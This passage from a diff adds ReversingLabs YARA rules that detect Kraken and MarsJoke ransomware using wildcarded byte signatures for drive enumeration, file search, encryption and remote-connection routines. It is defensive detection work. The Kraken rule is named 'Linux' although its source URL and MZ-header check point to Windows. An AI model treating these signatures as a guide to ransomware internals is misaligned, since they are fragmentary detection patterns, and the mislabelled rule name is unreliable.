+            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? C6 45 ?? ?? 8B 4D ?? 8B 31
+            3B F1 0F 84 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 8B C8 C6 45
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 C6 45 ?? ?? 8B 4E ?? 89 4F ?? 8B 4E ?? 89 4F ?? 8D
+            4F ?? 8B 46 ?? 89 47 ?? 8D 46 ?? 3B C8 74 ?? 83 78 ?? ?? 8B D0 72 ?? 8B 10 FF 70 ??
+            52 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($enum_drives_p*)) and ( all of ($find_files_p*)) and ($encrypt_files)
+}
+rule REVERSINGLABS_Linux_Ransomware_Kraken : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Kraken ransomware."
+		author = "ReversingLabs"
+		id = "7c302c2e-6ffc-5f51-90f4-c4ebd6c1c28b"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Kraken.yara#L1-L151"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4a3867aba4dbdce5d008331a3058f57b00db246975fc4d77b79ab49d5f0bbb15"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Kraken"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$enum_volumes = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? 00 A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 50 45 4C 00 C7 45
+            FC 00 00 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ??
+            8A 06 84 C0 0F 84 ?? ?? ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8B D4
+            C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 83 7A ?? ?? 72 ?? 8B 02 EB ?? 8B C2 C6 00
+            ?? 80 3E ?? 75 ?? 33 C9 EB ?? 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 51 56 8B CA
+            E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 C6 ?? E9 ?? ?? ?? ?? BA ??
+            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ??
+            ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? 68 ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8
+            ?? ?? ?? ?? 8B E5 5D C3 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? B8 ?? ?? ?? ?? C3
+        }
+		$enum_shares_p1 = {
+            50 56 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
+            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 66 0F 1F 44 00 ?? FF 75 ?? 6A ?? FF
+            15 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 56 8D 45 ?? 89 75 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? 33 FF 0F 1F 40 ?? 3B 7D ?? 0F 83 ?? ?? ?? ?? 8B C7 C1 E0 ??
+            03 F0 F7 46 ?? ?? ?? ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 06 83 C4 ?? 8B C8 0F 11
+            00 0F 10 46 ?? 0F 11 40 ?? E8 ?? ?? ?? ?? 8B 75 ?? B3 ?? 47 EB ?? F7 46 ?? ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? 8B 56 ?? 85 D2 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C6 45 ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 71 ?? 8A 01 41 84 C0 75
+            ?? 2B CE 51 52 8D 4D ?? E8 ?? ?? ?? ?? 51 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B
+            C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B
+        }
+		$enum_shares_p2 = {
+            4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8
+            ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 55 ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 8D 55 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ??
+            C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6
+            C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ??
+            E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45
+            ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ??
+            8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ??
+            E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B
+            C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
+            8B 75 ?? B3 ?? 47 E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 E9 ?? ??
+            ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ??
+            ?? ?? ?? C3
+        }
+		$find_files = {
+              55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ??
+              ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D 4D ??
+              C6 45 ?? ?? 8B 75 ?? 83 FE ?? 8B 7D ?? 8B 55 ?? 0F 43 CF 6A ?? 68 ?? ?? ?? ?? E8 ??
+              ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 CF 68 ?? ??
+              ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43
+              CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ??
+              6A ?? 0F 43 CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57
+              C0 C7 45 ?? ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+              45 ?? ?? ?? ?? ?? 83 FE ?? C6 45 ?? ?? 8D 4D ?? 0F 43 CF E8 ?? ?? ?? ?? 8B F0 89 75
+              ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B D6 50 8B CE E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ??
+              85 DB 0F 84 ?? ?? ?? ?? 8D 7B ?? B9 ?? ?? ?? ?? 8B C7 66 0F 1F 44 00 ?? 8A 10 3A 11
+              75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 F6 EB ??
+              1B F6 83 CE ?? B9 ?? ?? ?? ?? 8B C7 0F 1F 40 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50
+              ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 3B F0 8B
+              75 ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 57 3D ?? ?? ?? ??
+              75 ?? E8 ?? ?? ?? ?? 50 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC
+              ?? C6 45 ?? ?? 8B CC 8B D0 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D
+              ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+              83 EC ?? C6 45 ?? ?? 8B CC 8D 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4
+              ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
+              83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ??
+              ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+              C4 ?? B8 ?? ?? ?? ?? C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ??
+              ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD
+              E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files_p1 = {
+              55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ??
+              ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 C6 45 ??
+              ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7
+              41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 45 ?? 6A ??
+              50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41
+              ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00
+              ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D
+              4D ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 7D ?? 0F 43 05 ?? ?? ?? ?? 83 FF ?? FF
+              35 ?? ?? ?? ?? 8B 75 ?? 0F 43 CE 8B 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ??
+              ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85
+              C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+              83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8
+              ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8
+        }
+		$encrypt_files_p2 = {
+              84 C0 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ??
+              ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45
+              ?? 6A ?? 0F 43 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B
+              D8 83 FB ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 68 ??
+              ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 1B D7 01 05
+              ?? ?? ?? ?? 11 15 ?? ?? ?? ?? 83 65 ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 8B FA
+              8B F0 8B 55 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 6A ?? 1B D7 01 05 ?? ?? ?? ??
+              8B 45 ?? 11 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 6A ?? 83 15 ?? ?? ?? ?? ?? 6A ?? 53 FF
+              15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 FF 75 ?? FF 35 ?? ??
+              ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 53 1B D7 01 05 ?? ?? ?? ?? 11 15
+              ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 51 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 83
+              79 ?? ?? 72 ?? 8B 09 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D
+              ?? E8 ?? ?? ?? ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ??
+              ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ??
+              64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_volumes and $find_files and ( all of ($enum_shares_p*)) and ( all of ($encrypt_files_p*)))
+}
+rule REVERSINGLABS_Win32_Ransomware_Marsjoke : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects MarsJoke ransomware."
+		author = "ReversingLabs"
+		id = "8164c586-f548-5414-9df8-61e0c51cbe29"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.MarsJoke.yara#L1-L157"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "298b2fd99793a15b3537853289e1337648d3fa84f12038e6f6831741404b7c5c"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "MarsJoke"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_and_encrypt_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45
+            ?? 53 56 89 44 24 ?? 8B 45 ?? 57 89 44 24 ?? 8B 45 ?? BE ?? ?? ?? ?? 33 DB 56 89 44
+            24 ?? 8D 84 24 ?? ?? ?? ?? 8B F9 53 50 89 7C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 56 8D 84 24 ?? ?? ?? ?? 53 50 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 57 8D 4C 24 ?? 88 5C 24 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 38 5C 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 59 BE ?? ?? ??
+            ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 FF
+            74 24 ?? FF D7 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 84 C0 8D 84 24 ?? ?? ?? ?? 75 ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? E9 ?? ?? ?? ??
+            6A ?? 50 FF D7 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D
+            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E9 ?? ?? ?? ?? 8D 4C
+            24 ?? 51 50 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ??
+            ?? 89 5C 24 ?? 33 DB 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 54 24
+            ?? 89 4C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 8D 84 24
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 56 8D 84 24 ?? ?? ?? ?? 50 FF
+            D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 56 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D
+            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ??
+            ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 6A ?? 59 33 C0 66 89 9C 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB 6A ?? FF
+            74 24 ?? 66 AB 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
+            ?? 57 53 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 0B 44 24 ?? 74 ?? 83 44
+            24 ?? ?? 11 5C 24 ?? EB ?? 89 7C 24 ?? 89 5C 24 ?? BF ?? ?? ?? ?? 57 E8 ?? ?? ?? ??
+            59 50 57 8B 7C 24 ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 47 ?? 8B 44 24 ?? 53
+            89 47 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 57 FF 74 24 ?? C7 47 ?? ?? ?? ?? ?? 88 5C 24
+            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? 3B FB 89
+            5C 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 8B 74 24 ?? 83 EE ??
+            1B FB 89 74 24 ?? 89 7C 24 ?? 89 5C 24 ?? 33 C0 EB ?? 8B 7C 24 ?? 8B 74 24 ?? 39 74
+            24 ?? 75 ?? 3B C7 75 ?? 8B 44 24 ?? 89 44 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74
+            24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 58 39 44 24 ?? 73 ?? 89 44 24 ?? 39 74 24
+            ?? 75 ?? 33 C0 3B C7 75 ?? 39 5C 24 ?? 7C ?? 7F ?? 83 7C 24 ?? ?? 76 ?? 8B 44 24 ??
+            83 E0 ?? 74 ?? 8B 4C 24 ?? 2B C8 03 C9 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 74 24 ??
+            53 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24
+            ?? 50 81 EC ?? ?? ?? ?? 6A ?? 59 8B FC FF B4 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? FF
+            B4 24 ?? ?? ?? ?? F3 A5 8B B4 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ??
+            53 8D 44 24 ?? 50 FF 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 68 ?? ?? ?? ??
+            53 56 74 ?? FF 15 ?? ?? ?? ?? FF 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 33 C0 3B 44 24 ??
+            0F 8C ?? ?? ?? ?? 7F ?? 8B 4C 24 ?? 3B 4C 24 ?? 0F 82 ?? ?? ?? ?? EB ?? C6 44 24 ??
+            ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 74 24 ?? FF 15 ?? ?? ?? ??
+            FF 74 24 ?? 8B 3D ?? ?? ?? ?? FF D7 FF 74 24 ?? FF D7 56 8D 84 24 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 38 5C 24 ?? 8D 84 24
+            ?? ?? ?? ?? 75 ?? 6A ?? FF 74 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 FF 74 24 ?? 68 ?? ??
+            ?? ?? 75 ?? E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF D6 EB ?? E8 ?? ?? ?? ??
+            59 59 B0 ?? EB ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 32 C0 8B 8C 24 ?? ?? ?? ??
+            5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$remote_connection_2 = {
+            55 8D 6C 24 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ??
+            53 56 57 BE ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 56 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ??
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ??
+            ?? BE ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ??
+            E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
+            ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A
+            ?? 8D 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ??
+            ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 57
+            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ??
+            6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ??
